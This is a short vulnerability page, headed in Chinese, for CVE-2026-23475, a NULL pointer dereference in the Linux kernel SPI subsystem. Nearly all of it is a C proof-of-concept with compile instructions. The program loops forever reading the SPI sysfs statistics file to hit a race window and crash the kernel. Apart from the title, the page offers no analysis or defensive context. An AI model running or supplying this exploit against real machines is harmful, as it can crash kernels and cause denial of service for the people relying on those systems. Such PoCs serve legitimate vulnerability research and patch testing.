CVE-2026-23475 Linux Kernel SPI子系统空指针解引用漏洞

// PoC to trigger race condition in SPI sysfs stats access // Compile: gcc -o poc_spi poc_spi.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #define SPI_STATS_PATH "/sys/class/spi_master/spi0/statistics" void trigger_vuln() { int fd; char buffer[256]; // Continuously try to access the sysfs statistics file // This attempts to hit the window between registration and allocation while(1) { fd = open(SPI_STATS_PATH, O_RDONLY); if (fd >= 0) { if (read(fd, buffer, sizeof(buffer)) > 0) { // Access successful, potentially triggering the NULL deref // if the kernel timing aligns with the vulnerable window } close(fd); } else { // Device not found or error, retry } } } int main() { printf("Attempting to trigger CVE-2026-23475...\n"); trigger_vuln(); return 0; }